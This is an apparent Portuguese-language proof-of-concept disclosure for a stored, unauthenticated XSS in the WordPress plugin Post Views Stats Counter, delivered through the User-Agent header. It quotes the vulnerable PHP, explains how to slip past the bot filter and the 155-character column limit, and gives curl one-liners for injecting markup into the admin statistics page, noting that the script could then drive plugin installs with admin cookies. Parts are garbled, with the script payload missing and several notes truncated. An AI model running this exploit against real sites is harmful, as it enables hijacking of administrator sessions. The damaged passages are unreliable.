
Prova de conceito para CVE-2026-97347, um XSS armazenado não autenticado no plugin WordPress Post Views Stats Counter através do cabeçalho User-Agent, com etapas de reprodução.
| Plugin | Post Views Stats Counter |
| Versão afetada | ≤ 1.1.7 |
| Classe de bug | XSS Armazenado Não Autenticado |
| Ponto de entrada | Cabeçalho HTTP User-Agent |
| Sink | Página de estatísticas do admin (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 Alto |
| Status | Não corrigido no momento da divulgação, sem versões corrigidas conhecidas até agora |
| Pesquisador | Nawaf Althurwi |
O plugin registra cada visualização de página, incluindo o cabeçalho User-Agent do visitante, em uma tabela personalizada (wp_pvs_counter). Aqui é onde ele captura o cabeçalho — sem sanitização em nenhum ponto do caminho:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
A única defesa na entrada é um filtro de bots, e é apenas uma lista negra de substrings:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
A lista padrão é bot, spider, crawler. Qualquer coisa que não contenha essas substrings é armazenada. Esse é todo o filtro.
No lado da saída, a página de administração constrói um dropdown de "user agents registrados" e imprime o valor armazenado bruto dentro da tag <option> — esc_attr() protege o atributo value, mas o rótulo visível é um echo simples:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
Assim, uma requisição não autenticada com HTML no cabeçalho User-Agent acaba sendo executada no navegador do administrador na próxima vez que ele abrir a página de estatísticas do plugin. XSS armazenado clássico, sem autenticação, sem interação da vítima além de visualizar seu próprio painel.
Mais uma restrição que vale a pena conhecer: a coluna useragent é varchar(155), então o payload precisa ficar abaixo de 155 caracteres.
Qualquer URL registrada funciona — a página inicial /?p=1 serve. Substitua TARGET pelo host do WordPress e YOUR_PAYLOAD pelo que você quiser executar na sessão do administrador:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
Notas sobre o formato do payload:
</option></select> quebra o valor fora da marcação do dropdown — não é decoração, sem ele a injeção fica presa dentro da tag <option>.bot/spider/crawler (sem distinção de maiúsculas/minúsculas) ou a requisição será filtrada como bot antes de chegar ao banco de dados.alert(), use   em vez disso — alguns clientes HTTP corrompem espaços em valores de cabeçalho.O one-liner que usei no meu laboratório:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

Apenas um curl simples. HTTP 200 significa que a visualização foi contabilizada e o cabeçalho foi gravado no banco de dados.
Abra Configurações → Post Views Stats Counter como administrador (ou apenas atualize se já estiver aberto). O payload é renderizado como parte da lista de widgets de estatísticas e o onerror é disparado:

S:C — o XSS é executado em wp-admin, portanto pode chamar endpoints admin-ajax e de instalação de plugins com os cookies do administrador)
Qualidade superior caso queira avançar/pausar: exploit-vid.mp4
Testado contra a versão 1.1.7 no WordPress 6.x em um laboratório Docker local. Não autenticado, sem interação do usuário além de abrir a página de estatísticas.